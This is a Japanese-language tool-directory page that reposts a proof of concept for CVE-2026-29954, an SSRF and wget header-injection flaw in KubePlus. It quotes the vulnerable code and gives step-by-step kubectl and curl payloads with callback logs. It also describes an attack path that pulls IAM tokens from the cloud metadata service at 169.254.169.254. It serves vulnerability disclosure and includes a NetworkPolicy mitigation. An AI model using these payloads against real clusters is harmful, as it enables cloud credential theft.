Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29954 — KubePlus ResourceCompositionにおけるSSRFおよびHTTPヘッダーインジェクションを実証する概念実証であり、クラウドメタデータへのアクセスとIAM認証情報の窃取を可能にします。 | Kitploit
ツール/GitHubGitHub/b0b0haha/cve-2026-29954
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

KubePlus ResourceCompositionにおけるSSRFおよびHTTPヘッダーインジェクションを実証する概念実証であり、クラウドメタデータへのアクセスとIAM認証情報の窃取を可能にします。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

KubePlus ResourceComposition chartURL SSRF + ヘッダーインジェクション

この脆弱性はKubePlusのResourceCompositionリソース処理コンポーネントに存在し、Provider権限を持つ攻撃者が悪意のあるchartURLパラメータを作成してSSRF経由で内部サービスにアクセスし、wgetコマンドインジェクションを通じて任意のHTTPリクエストヘッダーを注入できるようになります。これにより、攻撃者は特定のヘッダーを必要とするクラウドメタデータサービス(例:GCPではMetadata-Flavor: Googleヘッダーが必要)にアクセスし、IAM認証情報を窃取できます。報告推奨CWE: CWE-918(サーバーサイドリクエストフォージェリ)。

概要

KubePlusのmutating webhookおよびkubeconfiggeneratorコンポーネントには、ResourceCompositionリソースのchartURLフィールドを処理する際にSSRF脆弱性があります。このフィールドはURLエンコードされるだけで、ターゲットアドレスの検証は行われません。さらに重要なのは、kubeconfiggeneratorがwgetを使用してチャートをダウンロードする際、chartURLがコマンドに直接連結されるため、攻撃者はwgetの--headerオプションを注入して任意のHTTPヘッダーインジェクションを実現できます。

詳細

脆弱性のあるコード箇所

SSRFエントリーポイント - mutating-webhook/utils.go:986-995:

root@kitploit:~
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

ヘッダーインジェクションポイント - deploy/kubeconfiggenerator.py:552-558:

root@kitploit:~
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

chartURLがwgetコマンドに直接連結されるため、攻撃者は--headerオプションを注入できます。

脆弱性分析

  1. SSRF: chartURLフィールドはユーザー入力に由来し、URLエンコードされるだけで、ターゲットが内部ネットワークやメタデータサービスかどうかの検証は行われません
  2. コマンドインジェクション(ヘッダー): wgetコマンドがchartURLを直接連結するため、wgetのコマンドラインオプションを注入できます
  3. ヘッダーインジェクション: --headerオプションを注入することで、任意のHTTPリクエストヘッダーを追加できます

PoC

環境構築

  1. Kindクラスターを作成:
root@kitploit:~
kind create cluster --name kubeplus-test
  1. KubePlus v4.2.0をインストール:
root@kitploit:~
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. Provider kubeconfigを生成:
root@kitploit:~
python3 provider-kubeconfig.py create default
  1. コールバックサーバーをデプロイ:
root@kitploit:~
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

テスト1: 基本的なSSRF検証

root@kitploit:~
# SSRFペイロードを含むResourceCompositionを作成
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

コールバックサーバーのログ出力:

root@kitploit:~
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

テスト2: wget --headerによるヘッダーインジェクション

root@kitploit:~
# kubeconfighelperへのポートフォワーディングを設定
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Metadata-Flavorヘッダーを注入(GCPメタデータサービスに必要)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

コールバックサーバーのログ出力:

root@kitploit:~
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

テスト3: 複数ヘッダーのインジェクション

root@kitploit:~
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

コールバックサーバーのログ出力:

root@kitploit:~
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

影響

  1. 内部サービスへのSSRF: 攻撃者はクラスター内部のサービスやKubernetes APIにアクセスできます
  2. クラウドメタデータへのアクセス: Metadata-Flavor: Googleヘッダーを注入することで、GCPメタデータサービスにアクセスできます
  3. IAM認証情報の窃取: クラウド環境では、IAM一時認証情報を窃取できます
  4. 認証バイパス: Authorizationヘッダーを注入することで、一部のサービスの認証をバイパスできる可能性があります

攻撃シナリオ

root@kitploit:~
攻撃者(Provider権限)
    |
    v
ResourceCompositionを作成(chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhookがリクエストを処理
    |
    v
kubeconfiggeneratorが実行: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
GCPメタデータサービスにアクセスし、IAMトークンを取得
    |
    v
IAMトークンを使用してクラウドリソースにアクセス

深刻度

CVSS 3.1スコア: 8.5(高) ベクター: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • 攻撃元: ネットワーク
  • 攻撃複雑性: 低
  • 必要な権限: 高(Providerロール)
  • ユーザー操作: 不要
  • 影響範囲: 変更あり(外部クラウドサービスにアクセス可能)
  • 機密性: 高(IAM認証情報)
  • 完全性: 低
  • 可用性: なし

影響を受けるバージョン

  • KubePlus v4.2.0(検証済み)
  • チャートのダウンロードにwgetを使用するすべてのバージョンに影響する可能性あり

回避策

  1. ネットワークポリシー: KubePlus Podの外部ネットワークアクセスを制限
root@kitploit:~
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
  1. URLホワイトリスト: コードにchartURLのホワイトリスト検証を追加

参考情報

  • CWE-918: サーバーサイドリクエストフォージェリ(SSRF)
  • CWE-88: コマンドにおける引数デリミタの不適切な無害化
  • OWASP SSRF防止チートシート
  • Kubeplus: https://github.com/cloud-ark/kubeplus

クレジット

クレジット: @b0b0haha ([email protected]) @lixingquzhi ([email protected])

ツールをダウンロード